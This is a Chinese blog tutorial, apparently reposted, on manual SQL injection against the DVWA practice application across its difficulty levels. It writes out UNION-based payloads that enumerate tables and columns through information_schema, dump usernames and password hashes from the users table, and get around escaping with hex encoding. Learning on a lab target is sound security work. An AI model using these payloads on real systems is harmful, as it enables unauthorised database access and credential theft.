sql注入基础

 

还是以dvwa学习手工sql注入

sql注入原理,个人理解意思的就是应用没有把用户输入的数据进行过滤处理,数据被当成sql语句进行执行了。

low级别:

直接查看代码,发现参数$id并没有经过任何处理,所以是一个明显的注入点。在真实环境中是看不到代码的,所以需要一点点的去猜测破解。

首先输入1,显示出了数据,

输入1 ',提示有错误,

接着输入1’or ‘1 ’=’1,可以查询到多条数据,说明是字符型注入

接下来猜解数据库库名、表名和数据库中的数据:

猜解库名: 输入 1′ union select 1,database() # (union select联合查询#在mysql数据库中表示注释):

成功显示出了库名,dvwa

猜解数据库中的表:1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

information_schema 是mysql自带的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。

一共存在两个表,guestbook,users

猜解表中的字段名:1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #

users中一共存在八个字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

猜解表中的数据:1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

Medium级别:

这个级别使用了mysql_real_escape_string函数对上面的字符进行了转义,并且设置下拉框提交表单,但跟xss攻击一样,都可以使用burpsuite等抓包工具修改参数

抓包更改输入的参数

修改请求为1′ or 1=1 #,出现错误

接着猜解,输入1 or 1=1,返回多条数据

和低级别不同的是,中级别变成了数字型注入。剩下的就是低级别的老套路了,一直抓包修改请求就可以了。

有一点需要注意的就是,因为mysql_real_escape_string函数对单引号进行转义了,所以猜解表中的字段时候就无法使用'user'了。

可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #

(如果未成功 x可可能变成了口)

HIGH级别:

 

 查看代码发现代码中使用了LIMIT1参数

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
然后提交页面也发生了变化,

因为在mysql中#表示注释,所以可以将limit1注释掉,接下来还是low级别的老套路,

impossible级别:

查看帮助文档;

impossible级别将代码和数据完全分离出来。

 

 

 

转载于:https://www.cnblogs.com/z45-1/p/10251049.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值